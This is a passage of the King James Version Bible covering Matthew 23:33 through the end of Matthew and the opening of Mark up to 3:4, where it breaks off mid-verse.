fathers. + +23:33 Ye serpents, ye generation of vipers, how can ye escape the +damnation of hell? 23:34 Wherefore, behold, I send unto you prophets, +and wise men, and scribes: and some of them ye shall kill and crucify; +and some of them shall ye scourge in your synagogues, and persecute +them from city to city: 23:35 That upon you may come all the righteous +blood shed upon the earth, from the blood of righteous Abel unto the +blood of Zacharias son of Barachias, whom ye slew between the temple +and the altar. + +23:36 Verily I say unto you, All these things shall come upon this +generation. + +23:37 O Jerusalem, Jerusalem, thou that killest the prophets, and +stonest them which are sent unto thee, how often would I have gathered +thy children together, even as a hen gathereth her chickens under her +wings, and ye would not! 23:38 Behold, your house is left unto you +desolate. + +23:39 For I say unto you, Ye shall not see me henceforth, till ye +shall say, Blessed is he that cometh in the name of the Lord. + +24:1 And Jesus went out, and departed from the temple: and his +disciples came to him for to shew him the buildings of the temple. + +24:2 And Jesus said unto them, See ye not all these things? verily I +say unto you, There shall not be left here one stone upon another, +that shall not be thrown down. + +24:3 And as he sat upon the mount of Olives, the disciples came unto +him privately, saying, Tell us, when shall these things be? and what +shall be the sign of thy coming, and of the end of the world? 24:4 +And Jesus answered and said unto them, Take heed that no man deceive +you. + +24:5 For many shall come in my name, saying, I am Christ; and shall +deceive many. + +24:6 And ye shall hear of wars and rumours of wars: see that ye be not +troubled: for all these things must come to pass, but the end is not +yet. + +24:7 For nation shall rise against nation, and kingdom against +kingdom: and there shall be famines, and pestilences, and earthquakes, +in divers places. + +24:8 All these are the beginning of sorrows. + +24:9 Then shall they deliver you up to be afflicted, and shall kill +you: and ye shall be hated of all nations for my name's sake. + +24:10 And then shall many be offended, and shall betray one another, +and shall hate one another. + +24:11 And many false prophets shall rise, and shall deceive many. + +24:12 And because iniquity shall abound, the love of many shall wax +cold. + +24:13 But he that shall endure unto the end, the same shall be saved. + +24:14 And this gospel of the kingdom shall be preached in all the +world for a witness unto all nations; and then shall the end come. + +24:15 When ye therefore shall see the abomination of desolation, +spoken of by Daniel the prophet, stand in the holy place, (whoso +readeth, let him understand:) 24:16 Then let them which be in Judaea +flee into the mountains: 24:17 Let him which is on the housetop not +come down to take any thing out of his house: 24:18 Neither let him +which is in the field return back to take his clothes. + +24:19 And woe unto them that are with child, and to them that give +suck in those days! 24:20 But pray ye that your flight be not in the +winter, neither on the sabbath day: 24:21 For then shall be great +tribulation, such as was not since the beginning of the world to this +time, no, nor ever shall be. + +24:22 And except those days should be shortened, there should no flesh +be saved: but for the elect's sake those days shall be shortened. + +24:23 Then if any man shall say unto you, Lo, here is Christ, or +there; believe it not. + +24:24 For there shall arise false Christs, and false prophets, and +shall shew great signs and wonders; insomuch that, if it were +possible, they shall deceive the very elect. + +24:25 Behold, I have told you before. + +24:26 Wherefore if they shall say unto you, Behold, he is in the +desert; go not forth: behold, he is in the secret chambers; believe it +not. + +24:27 For as the lightning cometh out of the east, and shineth even +unto the west; so shall also the coming of the Son of man be. + +24:28 For wheresoever the carcase is, there will the eagles be +gathered together. + +24:29 Immediately after the tribulation of those days shall the sun be +darkened, and the moon shall not give her light, and the stars shall +fall from heaven, and the powers of the heavens shall be shaken: 24:30 +And then shall appear the sign of the Son of man in heaven: and then +shall all the tribes of the earth mourn, and they shall see the Son of +man coming in the clouds of heaven with power and great glory. + +24:31 And he shall send his angels with a great sound of a trumpet, +and they shall gather together his elect from the four winds, from one +end of heaven to the other. + +24:32 Now learn a parable of the fig tree; When his branch is yet +tender, and putteth forth leaves, ye know that summer is nigh: 24:33 +So likewise ye, when ye shall see all these things, know that it is +near, even at the doors. + +24:34 Verily I say unto you, This generation shall not pass, till all +these things be fulfilled. + +24:35 Heaven and earth shall pass away, but my words shall not pass +away. + +24:36 But of that day and hour knoweth no man, no, not the angels of +heaven, but my Father only. + +24:37 But as the days of Noe were, so shall also the coming of the Son +of man be. + +24:38 For as in the days that were before the flood they were eating +and drinking, marrying and giving in marriage, until the day that Noe +entered into the ark, 24:39 And knew not until the flood came, and +took them all away; so shall also the coming of the Son of man be. + +24:40 Then shall two be in the field; the one shall be taken, and the +other left. + +24:41 Two women shall be grinding at the mill; the one shall be taken, +and the other left. + +24:42 Watch therefore: for ye know not what hour your Lord doth come. + +24:43 But know this, that if the goodman of the house had known in +what watch the thief would come, he would have watched, and would not +have suffered his house to be broken up. + +24:44 Therefore be ye also ready: for in such an hour as ye think not +the Son of man cometh. + +24:45 Who then is a faithful and wise servant, whom his lord hath made +ruler over his household, to give them meat in due season? 24:46 +Blessed is that servant, whom his lord when he cometh shall find so +doing. + +24:47 Verily I say unto you, That he shall make him ruler over all his +goods. + +24:48 But and if that evil servant shall say in his heart, My lord +delayeth his coming; 24:49 And shall begin to smite his +fellowservants, and to eat and drink with the drunken; 24:50 The lord +of that servant shall come in a day when he looketh not for him, and +in an hour that he is not aware of, 24:51 And shall cut him asunder, +and appoint him his portion with the hypocrites: there shall be +weeping and gnashing of teeth. + +25:1 Then shall the kingdom of heaven be likened unto ten virgins, +which took their lamps, and went forth to meet the bridegroom. + +25:2 And five of them were wise, and five were foolish. + +25:3 They that were foolish took their lamps, and took no oil with +them: 25:4 But the wise took oil in their vessels with their lamps. + +25:5 While the bridegroom tarried, they all slumbered and slept. + +25:6 And at midnight there was a cry made, Behold, the bridegroom +cometh; go ye out to meet him. + +25:7 Then all those virgins arose, and trimmed their lamps. + +25:8 And the foolish said unto the wise, Give us of your oil; for our +lamps are gone out. + +25:9 But the wise answered, saying, Not so; lest there be not enough +for us and you: but go ye rather to them that sell, and buy for +yourselves. + +25:10 And while they went to buy, the bridegroom came; and they that +were ready went in with him to the marriage: and the door was shut. + +25:11 Afterward came also the other virgins, saying, Lord, Lord, open +to us. + +25:12 But he answered and said, Verily I say unto you, I know you not. + +25:13 Watch therefore, for ye know neither the day nor the hour +wherein the Son of man cometh. + +25:14 For the kingdom of heaven is as a man travelling into a far +country, who called his own servants, and delivered unto them his +goods. + +25:15 And unto one he gave five talents, to another two, and to +another one; to every man according to his several ability; and +straightway took his journey. + +25:16 Then he that had received the five talents went and traded with +the same, and made them other five talents. + +25:17 And likewise he that had received two, he also gained other two. + +25:18 But he that had received one went and digged in the earth, and +hid his lord's money. + +25:19 After a long time the lord of those servants cometh, and +reckoneth with them. + +25:20 And so he that had received five talents came and brought other +five talents, saying, Lord, thou deliveredst unto me five talents: +behold, I have gained beside them five talents more. + +25:21 His lord said unto him, Well done, thou good and faithful +servant: thou hast been faithful over a few things, I will make thee +ruler over many things: enter thou into the joy of thy lord. + +25:22 He also that had received two talents came and said, Lord, thou +deliveredst unto me two talents: behold, I have gained two other +talents beside them. + +25:23 His lord said unto him, Well done, good and faithful servant; +thou hast been faithful over a few things, I will make thee ruler over +many things: enter thou into the joy of thy lord. + +25:24 Then he which had received the one talent came and said, Lord, I +knew thee that thou art an hard man, reaping where thou hast not sown, +and gathering where thou hast not strawed: 25:25 And I was afraid, and +went and hid thy talent in the earth: lo, there thou hast that is +thine. + +25:26 His lord answered and said unto him, Thou wicked and slothful +servant, thou knewest that I reap where I sowed not, and gather where +I have not strawed: 25:27 Thou oughtest therefore to have put my money +to the exchangers, and then at my coming I should have received mine +own with usury. + +25:28 Take therefore the talent from him, and give it unto him which +hath ten talents. + +25:29 For unto every one that hath shall be given, and he shall have +abundance: but from him that hath not shall be taken away even that +which he hath. + +25:30 And cast ye the unprofitable servant into outer darkness: there +shall be weeping and gnashing of teeth. + +25:31 When the Son of man shall come in his glory, and all the holy +angels with him, then shall he sit upon the throne of his glory: 25:32 +And before him shall be gathered all nations: and he shall separate +them one from another, as a shepherd divideth his sheep from the +goats: 25:33 And he shall set the sheep on his right hand, but the +goats on the left. + +25:34 Then shall the King say unto them on his right hand, Come, ye +blessed of my Father, inherit the kingdom prepared for you from the +foundation of the world: 25:35 For I was an hungred, and ye gave me +meat: I was thirsty, and ye gave me drink: I was a stranger, and ye +took me in: 25:36 Naked, and ye clothed me: I was sick, and ye visited +me: I was in prison, and ye came unto me. + +25:37 Then shall the righteous answer him, saying, Lord, when saw we +thee an hungred, and fed thee? or thirsty, and gave thee drink? 25:38 +When saw we thee a stranger, and took thee in? or naked, and clothed +thee? 25:39 Or when saw we thee sick, or in prison, and came unto +thee? 25:40 And the King shall answer and say unto them, Verily I say +unto you, Inasmuch as ye have done it unto one of the least of these +my brethren, ye have done it unto me. + +25:41 Then shall he say also unto them on the left hand, Depart from +me, ye cursed, into everlasting fire, prepared for the devil and his +angels: 25:42 For I was an hungred, and ye gave me no meat: I was +thirsty, and ye gave me no drink: 25:43 I was a stranger, and ye took +me not in: naked, and ye clothed me not: sick, and in prison, and ye +visited me not. + +25:44 Then shall they also answer him, saying, Lord, when saw we thee +an hungred, or athirst, or a stranger, or naked, or sick, or in +prison, and did not minister unto thee? 25:45 Then shall he answer +them, saying, Verily I say unto you, Inasmuch as ye did it not to one +of the least of these, ye did it not to me. + +25:46 And these shall go away into everlasting punishment: but the +righteous into life eternal. + +26:1 And it came to pass, when Jesus had finished all these sayings, +he said unto his disciples, 26:2 Ye know that after two days is the +feast of the passover, and the Son of man is betrayed to be crucified. + +26:3 Then assembled together the chief priests, and the scribes, and +the elders of the people, unto the palace of the high priest, who was +called Caiaphas, 26:4 And consulted that they might take Jesus by +subtilty, and kill him. + +26:5 But they said, Not on the feast day, lest there be an uproar +among the people. + +26:6 Now when Jesus was in Bethany, in the house of Simon the leper, +26:7 There came unto him a woman having an alabaster box of very +precious ointment, and poured it on his head, as he sat at meat. + +26:8 But when his disciples saw it, they had indignation, saying, To +what purpose is this waste? 26:9 For this ointment might have been +sold for much, and given to the poor. + +26:10 When Jesus understood it, he said unto them, Why trouble ye the +woman? for she hath wrought a good work upon me. + +26:11 For ye have the poor always with you; but me ye have not always. + +26:12 For in that she hath poured this ointment on my body, she did it +for my burial. + +26:13 Verily I say unto you, Wheresoever this gospel shall be preached +in the whole world, there shall also this, that this woman hath done, +be told for a memorial of her. + +26:14 Then one of the twelve, called Judas Iscariot, went unto the +chief priests, 26:15 And said unto them, What will ye give me, and I +will deliver him unto you? And they covenanted with him for thirty +pieces of silver. + +26:16 And from that time he sought opportunity to betray him. + +26:17 Now the first day of the feast of unleavened bread the disciples +came to Jesus, saying unto him, Where wilt thou that we prepare for +thee to eat the passover? 26:18 And he said, Go into the city to such +a man, and say unto him, The Master saith, My time is at hand; I will +keep the passover at thy house with my disciples. + +26:19 And the disciples did as Jesus had appointed them; and they made +ready the passover. + +26:20 Now when the even was come, he sat down with the twelve. + +26:21 And as they did eat, he said, Verily I say unto you, that one of +you shall betray me. + +26:22 And they were exceeding sorrowful, and began every one of them +to say unto him, Lord, is it I? 26:23 And he answered and said, He +that dippeth his hand with me in the dish, the same shall betray me. + +26:24 The Son of man goeth as it is written of him: but woe unto that +man by whom the Son of man is betrayed! it had been good for that man +if he had not been born. + +26:25 Then Judas, which betrayed him, answered and said, Master, is it +I? He said unto him, Thou hast said. + +26:26 And as they were eating, Jesus took bread, and blessed it, and +brake it, and gave it to the disciples, and said, Take, eat; this is +my body. + +26:27 And he took the cup, and gave thanks, and gave it to them, +saying, Drink ye all of it; 26:28 For this is my blood of the new +testament, which is shed for many for the remission of sins. + +26:29 But I say unto you, I will not drink henceforth of this fruit of +the vine, until that day when I drink it new with you in my Father's +kingdom. + +26:30 And when they had sung an hymn, they went out into the mount of +Olives. + +26:31 Then saith Jesus unto them, All ye shall be offended because of +me this night: for it is written, I will smite the shepherd, and the +sheep of the flock shall be scattered abroad. + +26:32 But after I am risen again, I will go before you into Galilee. + +26:33 Peter answered and said unto him, Though all men shall be +offended because of thee, yet will I never be offended. + +26:34 Jesus said unto him, Verily I say unto thee, That this night, +before the cock crow, thou shalt deny me thrice. + +26:35 Peter said unto him, Though I should die with thee, yet will I +not deny thee. Likewise also said all the disciples. + +26:36 Then cometh Jesus with them unto a place called Gethsemane, and +saith unto the disciples, Sit ye here, while I go and pray yonder. + +26:37 And he took with him Peter and the two sons of Zebedee, and +began to be sorrowful and very heavy. + +26:38 Then saith he unto them, My soul is exceeding sorrowful, even +unto death: tarry ye here, and watch with me. + +26:39 And he went a little farther, and fell on his face, and prayed, +saying, O my Father, if it be possible, let this cup pass from me: +nevertheless not as I will, but as thou wilt. + +26:40 And he cometh unto the disciples, and findeth them asleep, and +saith unto Peter, What, could ye not watch with me one hour? 26:41 +Watch and pray, that ye enter not into temptation: the spirit indeed +is willing, but the flesh is weak. + +26:42 He went away again the second time, and prayed, saying, O my +Father, if this cup may not pass away from me, except I drink it, thy +will be done. + +26:43 And he came and found them asleep again: for their eyes were +heavy. + +26:44 And he left them, and went away again, and prayed the third +time, saying the same words. + +26:45 Then cometh he to his disciples, and saith unto them, Sleep on +now, and take your rest: behold, the hour is at hand, and the Son of +man is betrayed into the hands of sinners. + +26:46 Rise, let us be going: behold, he is at hand that doth betray +me. + +26:47 And while he yet spake, lo, Judas, one of the twelve, came, and +with him a great multitude with swords and staves, from the chief +priests and elders of the people. + +26:48 Now he that betrayed him gave them a sign, saying, Whomsoever I +shall kiss, that same is he: hold him fast. + +26:49 And forthwith he came to Jesus, and said, Hail, master; and +kissed him. + +26:50 And Jesus said unto him, Friend, wherefore art thou come? Then +came they, and laid hands on Jesus and took him. + +26:51 And, behold, one of them which were with Jesus stretched out his +hand, and drew his sword, and struck a servant of the high priest's, +and smote off his ear. + +26:52 Then said Jesus unto him, Put up again thy sword into his place: +for all they that take the sword shall perish with the sword. + +26:53 Thinkest thou that I cannot now pray to my Father, and he shall +presently give me more than twelve legions of angels? 26:54 But how +then shall the scriptures be fulfilled, that thus it must be? 26:55 +In that same hour said Jesus to the multitudes, Are ye come out as +against a thief with swords and staves for to take me? I sat daily +with you teaching in the temple, and ye laid no hold on me. + +26:56 But all this was done, that the scriptures of the prophets might +be fulfilled. Then all the disciples forsook him, and fled. + +26:57 And they that had laid hold on Jesus led him away to Caiaphas +the high priest, where the scribes and the elders were assembled. + +26:58 But Peter followed him afar off unto the high priest's palace, +and went in, and sat with the servants, to see the end. + +26:59 Now the chief priests, and elders, and all the council, sought +false witness against Jesus, to put him to death; 26:60 But found +none: yea, though many false witnesses came, yet found they none. At +the last came two false witnesses, 26:61 And said, This fellow said, I +am able to destroy the temple of God, and to build it in three days. + +26:62 And the high priest arose, and said unto him, Answerest thou +nothing? what is it which these witness against thee? 26:63 But Jesus +held his peace, And the high priest answered and said unto him, I +adjure thee by the living God, that thou tell us whether thou be the +Christ, the Son of God. + +26:64 Jesus saith unto him, Thou hast said: nevertheless I say unto +you, Hereafter shall ye see the Son of man sitting on the right hand +of power, and coming in the clouds of heaven. + +26:65 Then the high priest rent his clothes, saying, He hath spoken +blasphemy; what further need have we of witnesses? behold, now ye have +heard his blasphemy. + +26:66 What think ye? They answered and said, He is guilty of death. + +26:67 Then did they spit in his face, and buffeted him; and others +smote him with the palms of their hands, 26:68 Saying, Prophesy unto +us, thou Christ, Who is he that smote thee? 26:69 Now Peter sat +without in the palace: and a damsel came unto him, saying, Thou also +wast with Jesus of Galilee. + +26:70 But he denied before them all, saying, I know not what thou +sayest. + +26:71 And when he was gone out into the porch, another maid saw him, +and said unto them that were there, This fellow was also with Jesus of +Nazareth. + +26:72 And again he denied with an oath, I do not know the man. + +26:73 And after a while came unto him they that stood by, and said to +Peter, Surely thou also art one of them; for thy speech bewrayeth +thee. + +26:74 Then began he to curse and to swear, saying, I know not the man. +And immediately the cock crew. + +26:75 And Peter remembered the word of Jesus, which said unto him, +Before the cock crow, thou shalt deny me thrice. And he went out, and +wept bitterly. + +27:1 When the morning was come, all the chief priests and elders of +the people took counsel against Jesus to put him to death: 27:2 And +when they had bound him, they led him away, and delivered him to +Pontius Pilate the governor. + +27:3 Then Judas, which had betrayed him, when he saw that he was +condemned, repented himself, and brought again the thirty pieces of +silver to the chief priests and elders, 27:4 Saying, I have sinned in +that I have betrayed the innocent blood. And they said, What is that +to us? see thou to that. + +27:5 And he cast down the pieces of silver in the temple, and +departed, and went and hanged himself. + +27:6 And the chief priests took the silver pieces, and said, It is not +lawful for to put them into the treasury, because it is the price of +blood. + +27:7 And they took counsel, and bought with them the potter's field, +to bury strangers in. + +27:8 Wherefore that field was called, The field of blood, unto this +day. + +27:9 Then was fulfilled that which was spoken by Jeremy the prophet, +saying, And they took the thirty pieces of silver, the price of him +that was valued, whom they of the children of Israel did value; 27:10 +And gave them for the potter's field, as the Lord appointed me. + +27:11 And Jesus stood before the governor: and the governor asked him, +saying, Art thou the King of the Jews? And Jesus said unto him, Thou +sayest. + +27:12 And when he was accused of the chief priests and elders, he +answered nothing. + +27:13 Then said Pilate unto him, Hearest thou not how many things they +witness against thee? 27:14 And he answered him to never a word; +insomuch that the governor marvelled greatly. + +27:15 Now at that feast the governor was wont to release unto the +people a prisoner, whom they would. + +27:16 And they had then a notable prisoner, called Barabbas. + +27:17 Therefore when they were gathered together, Pilate said unto +them, Whom will ye that I release unto you? Barabbas, or Jesus which +is called Christ? 27:18 For he knew that for envy they had delivered +him. + +27:19 When he was set down on the judgment seat, his wife sent unto +him, saying, Have thou nothing to do with that just man: for I have +suffered many things this day in a dream because of him. + +27:20 But the chief priests and elders persuaded the multitude that +they should ask Barabbas, and destroy Jesus. + +27:21 The governor answered and said unto them, Whether of the twain +will ye that I release unto you? They said, Barabbas. + +27:22 Pilate saith unto them, What shall I do then with Jesus which is +called Christ? They all say unto him, Let him be crucified. + +27:23 And the governor said, Why, what evil hath he done? But they +cried out the more, saying, Let him be crucified. + +27:24 When Pilate saw that he could prevail nothing, but that rather a +tumult was made, he took water, and washed his hands before the +multitude, saying, I am innocent of the blood of this just person: see +ye to it. + +27:25 Then answered all the people, and said, His blood be on us, and +on our children. + +27:26 Then released he Barabbas unto them: and when he had scourged +Jesus, he delivered him to be crucified. + +27:27 Then the soldiers of the governor took Jesus into the common +hall, and gathered unto him the whole band of soldiers. + +27:28 And they stripped him, and put on him a scarlet robe. + +27:29 And when they had platted a crown of thorns, they put it upon +his head, and a reed in his right hand: and they bowed the knee before +him, and mocked him, saying, Hail, King of the Jews! 27:30 And they +spit upon him, and took the reed, and smote him on the head. + +27:31 And after that they had mocked him, they took the robe off from +him, and put his own raiment on him, and led him away to crucify him. + +27:32 And as they came out, they found a man of Cyrene, Simon by name: +him they compelled to bear his cross. + +27:33 And when they were come unto a place called Golgotha, that is to +say, a place of a skull, 27:34 They gave him vinegar to drink mingled +with gall: and when he had tasted thereof, he would not drink. + +27:35 And they crucified him, and parted his garments, casting lots: +that it might be fulfilled which was spoken by the prophet, They +parted my garments among them, and upon my vesture did they cast lots. + +27:36 And sitting down they watched him there; 27:37 And set up over +his head his accusation written, THIS IS JESUS THE KING OF THE JEWS. + +27:38 Then were there two thieves crucified with him, one on the right +hand, and another on the left. + +27:39 And they that passed by reviled him, wagging their heads, 27:40 +And saying, Thou that destroyest the temple, and buildest it in three +days, save thyself. If thou be the Son of God, come down from the +cross. + +27:41 Likewise also the chief priests mocking him, with the scribes +and elders, said, 27:42 He saved others; himself he cannot save. If he +be the King of Israel, let him now come down from the cross, and we +will believe him. + +27:43 He trusted in God; let him deliver him now, if he will have him: +for he said, I am the Son of God. + +27:44 The thieves also, which were crucified with him, cast the same +in his teeth. + +27:45 Now from the sixth hour there was darkness over all the land +unto the ninth hour. + +27:46 And about the ninth hour Jesus cried with a loud voice, saying, +Eli, Eli, lama sabachthani? that is to say, My God, my God, why hast +thou forsaken me? 27:47 Some of them that stood there, when they +heard that, said, This man calleth for Elias. + +27:48 And straightway one of them ran, and took a spunge, and filled +it with vinegar, and put it on a reed, and gave him to drink. + +27:49 The rest said, Let be, let us see whether Elias will come to +save him. + +27:50 Jesus, when he had cried again with a loud voice, yielded up the +ghost. + +27:51 And, behold, the veil of the temple was rent in twain from the +top to the bottom; and the earth did quake, and the rocks rent; 27:52 +And the graves were opened; and many bodies of the saints which slept +arose, 27:53 And came out of the graves after his resurrection, and +went into the holy city, and appeared unto many. + +27:54 Now when the centurion, and they that were with him, watching +Jesus, saw the earthquake, and those things that were done, they +feared greatly, saying, Truly this was the Son of God. + +27:55 And many women were there beholding afar off, which followed +Jesus from Galilee, ministering unto him: 27:56 Among which was Mary +Magdalene, and Mary the mother of James and Joses, and the mother of +Zebedees children. + +27:57 When the even was come, there came a rich man of Arimathaea, +named Joseph, who also himself was Jesus' disciple: 27:58 He went to +Pilate, and begged the body of Jesus. Then Pilate commanded the body +to be delivered. + +27:59 And when Joseph had taken the body, he wrapped it in a clean +linen cloth, 27:60 And laid it in his own new tomb, which he had hewn +out in the rock: and he rolled a great stone to the door of the +sepulchre, and departed. + +27:61 And there was Mary Magdalene, and the other Mary, sitting over +against the sepulchre. + +27:62 Now the next day, that followed the day of the preparation, the +chief priests and Pharisees came together unto Pilate, 27:63 Saying, +Sir, we remember that that deceiver said, while he was yet alive, +After three days I will rise again. + +27:64 Command therefore that the sepulchre be made sure until the +third day, lest his disciples come by night, and steal him away, and +say unto the people, He is risen from the dead: so the last error +shall be worse than the first. + +27:65 Pilate said unto them, Ye have a watch: go your way, make it as +sure as ye can. + +27:66 So they went, and made the sepulchre sure, sealing the stone, +and setting a watch. + +28:1 In the end of the sabbath, as it began to dawn toward the first +day of the week, came Mary Magdalene and the other Mary to see the +sepulchre. + +28:2 And, behold, there was a great earthquake: for the angel of the +Lord descended from heaven, and came and rolled back the stone from +the door, and sat upon it. + +28:3 His countenance was like lightning, and his raiment white as +snow: 28:4 And for fear of him the keepers did shake, and became as +dead men. + +28:5 And the angel answered and said unto the women, Fear not ye: for +I know that ye seek Jesus, which was crucified. + +28:6 He is not here: for he is risen, as he said. Come, see the place +where the Lord lay. + +28:7 And go quickly, and tell his disciples that he is risen from the +dead; and, behold, he goeth before you into Galilee; there shall ye +see him: lo, I have told you. + +28:8 And they departed quickly from the sepulchre with fear and great +joy; and did run to bring his disciples word. + +28:9 And as they went to tell his disciples, behold, Jesus met them, +saying, All hail. And they came and held him by the feet, and +worshipped him. + +28:10 Then said Jesus unto them, Be not afraid: go tell my brethren +that they go into Galilee, and there shall they see me. + +28:11 Now when they were going, behold, some of the watch came into +the city, and shewed unto the chief priests all the things that were +done. + +28:12 And when they were assembled with the elders, and had taken +counsel, they gave large money unto the soldiers, 28:13 Saying, Say +ye, His disciples came by night, and stole him away while we slept. + +28:14 And if this come to the governor's ears, we will persuade him, +and secure you. + +28:15 So they took the money, and did as they were taught: and this +saying is commonly reported among the Jews until this day. + +28:16 Then the eleven disciples went away into Galilee, into a +mountain where Jesus had appointed them. + +28:17 And when they saw him, they worshipped him: but some doubted. + +28:18 And Jesus came and spake unto them, saying, All power is given +unto me in heaven and in earth. + +28:19 Go ye therefore, and teach all nations, baptizing them in the +name of the Father, and of the Son, and of the Holy Ghost: 28:20 +Teaching them to observe all things whatsoever I have commanded you: +and, lo, I am with you alway, even unto the end of the world. Amen. + + + + +The Gospel According to Saint Mark + + +1:1 The beginning of the gospel of Jesus Christ, the Son of God; 1:2 +As it is written in the prophets, Behold, I send my messenger before +thy face, which shall prepare thy way before thee. + +1:3 The voice of one crying in the wilderness, Prepare ye the way of +the Lord, make his paths straight. + +1:4 John did baptize in the wilderness, and preach the baptism of +repentance for the remission of sins. + +1:5 And there went out unto him all the land of Judaea, and they of +Jerusalem, and were all baptized of him in the river of Jordan, +confessing their sins. + +1:6 And John was clothed with camel's hair, and with a girdle of a +skin about his loins; and he did eat locusts and wild honey; 1:7 And +preached, saying, There cometh one mightier than I after me, the +latchet of whose shoes I am not worthy to stoop down and unloose. + +1:8 I indeed have baptized you with water: but he shall baptize you +with the Holy Ghost. + +1:9 And it came to pass in those days, that Jesus came from Nazareth +of Galilee, and was baptized of John in Jordan. + +1:10 And straightway coming up out of the water, he saw the heavens +opened, and the Spirit like a dove descending upon him: 1:11 And there +came a voice from heaven, saying, Thou art my beloved Son, in whom I +am well pleased. + +1:12 And immediately the spirit driveth him into the wilderness. + +1:13 And he was there in the wilderness forty days, tempted of Satan; +and was with the wild beasts; and the angels ministered unto him. + +1:14 Now after that John was put in prison, Jesus came into Galilee, +preaching the gospel of the kingdom of God, 1:15 And saying, The time +is fulfilled, and the kingdom of God is at hand: repent ye, and +believe the gospel. + +1:16 Now as he walked by the sea of Galilee, he saw Simon and Andrew +his brother casting a net into the sea: for they were fishers. + +1:17 And Jesus said unto them, Come ye after me, and I will make you +to become fishers of men. + +1:18 And straightway they forsook their nets, and followed him. + +1:19 And when he had gone a little farther thence, he saw James the +son of Zebedee, and John his brother, who also were in the ship +mending their nets. + +1:20 And straightway he called them: and they left their father +Zebedee in the ship with the hired servants, and went after him. + +1:21 And they went into Capernaum; and straightway on the sabbath day +he entered into the synagogue, and taught. + +1:22 And they were astonished at his doctrine: for he taught them as +one that had authority, and not as the scribes. + +1:23 And there was in their synagogue a man with an unclean spirit; +and he cried out, 1:24 Saying, Let us alone; what have we to do with +thee, thou Jesus of Nazareth? art thou come to destroy us? I know thee +who thou art, the Holy One of God. + +1:25 And Jesus rebuked him, saying, Hold thy peace, and come out of +him. + +1:26 And when the unclean spirit had torn him, and cried with a loud +voice, he came out of him. + +1:27 And they were all amazed, insomuch that they questioned among +themselves, saying, What thing is this? what new doctrine is this? for +with authority commandeth he even the unclean spirits, and they do +obey him. + +1:28 And immediately his fame spread abroad throughout all the region +round about Galilee. + +1:29 And forthwith, when they were come out of the synagogue, they +entered into the house of Simon and Andrew, with James and John. + +1:30 But Simon's wife's mother lay sick of a fever, and anon they tell +him of her. + +1:31 And he came and took her by the hand, and lifted her up; and +immediately the fever left her, and she ministered unto them. + +1:32 And at even, when the sun did set, they brought unto him all that +were diseased, and them that were possessed with devils. + +1:33 And all the city was gathered together at the door. + +1:34 And he healed many that were sick of divers diseases, and cast +out many devils; and suffered not the devils to speak, because they +knew him. + +1:35 And in the morning, rising up a great while before day, he went +out, and departed into a solitary place, and there prayed. + +1:36 And Simon and they that were with him followed after him. + +1:37 And when they had found him, they said unto him, All men seek for +thee. + +1:38 And he said unto them, Let us go into the next towns, that I may +preach there also: for therefore came I forth. + +1:39 And he preached in their synagogues throughout all Galilee, and +cast out devils. + +1:40 And there came a leper to him, beseeching him, and kneeling down +to him, and saying unto him, If thou wilt, thou canst make me clean. + +1:41 And Jesus, moved with compassion, put forth his hand, and touched +him, and saith unto him, I will; be thou clean. + +1:42 And as soon as he had spoken, immediately the leprosy departed +from him, and he was cleansed. + +1:43 And he straitly charged him, and forthwith sent him away; 1:44 +And saith unto him, See thou say nothing to any man: but go thy way, +shew thyself to the priest, and offer for thy cleansing those things +which Moses commanded, for a testimony unto them. + +1:45 But he went out, and began to publish it much, and to blaze +abroad the matter, insomuch that Jesus could no more openly enter into +the city, but was without in desert places: and they came to him from +every quarter. + +2:1 And again he entered into Capernaum after some days; and it was +noised that he was in the house. + +2:2 And straightway many were gathered together, insomuch that there +was no room to receive them, no, not so much as about the door: and he +preached the word unto them. + +2:3 And they come unto him, bringing one sick of the palsy, which was +borne of four. + +2:4 And when they could not come nigh unto him for the press, they +uncovered the roof where he was: and when they had broken it up, they +let down the bed wherein the sick of the palsy lay. + +2:5 When Jesus saw their faith, he said unto the sick of the palsy, +Son, thy sins be forgiven thee. + +2:6 But there was certain of the scribes sitting there, and reasoning +in their hearts, 2:7 Why doth this man thus speak blasphemies? who can +forgive sins but God only? 2:8 And immediately when Jesus perceived +in his spirit that they so reasoned within themselves, he said unto +them, Why reason ye these things in your hearts? 2:9 Whether is it +easier to say to the sick of the palsy, Thy sins be forgiven thee; or +to say, Arise, and take up thy bed, and walk? 2:10 But that ye may +know that the Son of man hath power on earth to forgive sins, (he +saith to the sick of the palsy,) 2:11 I say unto thee, Arise, and take +up thy bed, and go thy way into thine house. + +2:12 And immediately he arose, took up the bed, and went forth before +them all; insomuch that they were all amazed, and glorified God, +saying, We never saw it on this fashion. + +2:13 And he went forth again by the sea side; and all the multitude +resorted unto him, and he taught them. + +2:14 And as he passed by, he saw Levi the son of Alphaeus sitting at +the receipt of custom, and said unto him, Follow me. And he arose and +followed him. + +2:15 And it came to pass, that, as Jesus sat at meat in his house, +many publicans and sinners sat also together with Jesus and his +disciples: for there were many, and they followed him. + +2:16 And when the scribes and Pharisees saw him eat with publicans and +sinners, they said unto his disciples, How is it that he eateth and +drinketh with publicans and sinners? 2:17 When Jesus heard it, he +saith unto them, They that are whole have no need of the physician, +but they that are sick: I came not to call the righteous, but sinners +to repentance. + +2:18 And the disciples of John and of the Pharisees used to fast: and +they come and say unto him, Why do the disciples of John and of the +Pharisees fast, but thy disciples fast not? 2:19 And Jesus said unto +them, Can the children of the bridechamber fast, while the bridegroom +is with them? as long as they have the bridegroom with them, they +cannot fast. + +2:20 But the days will come, when the bridegroom shall be taken away +from them, and then shall they fast in those days. + +2:21 No man also seweth a piece of new cloth on an old garment: else +the new piece that filled it up taketh away from the old, and the rent +is made worse. + +2:22 And no man putteth new wine into old bottles: else the new wine +doth burst the bottles, and the wine is spilled, and the bottles will +be marred: but new wine must be put into new bottles. + +2:23 And it came to pass, that he went through the corn fields on the +sabbath day; and his disciples began, as they went, to pluck the ears +of corn. + +2:24 And the Pharisees said unto him, Behold, why do they on the +sabbath day that which is not lawful? 2:25 And he said unto them, +Have ye never read what David did, when he had need, and was an +hungred, he, and they that were with him? 2:26 How he went into the +house of God in the days of Abiathar the high priest, and did eat the +shewbread, which is not lawful to eat but for the priests, and gave +also to them which were with him? 2:27 And he said unto them, The +sabbath was made for man, and not man for the sabbath: 2:28 Therefore +the Son of man is Lord also of the sabbath. + +3:1 And he entered again into the synagogue; and there was a man there +which had a withered hand. + +3:2 And they watched him, whether he would heal him on the sabbath +day; that they might accuse him. + +3:3 And he saith unto the man which had the withered hand, Stand +forth. + +3:4 And he saith unto them, Is it lawful to do good on the sabbath +days, or to do evil? to 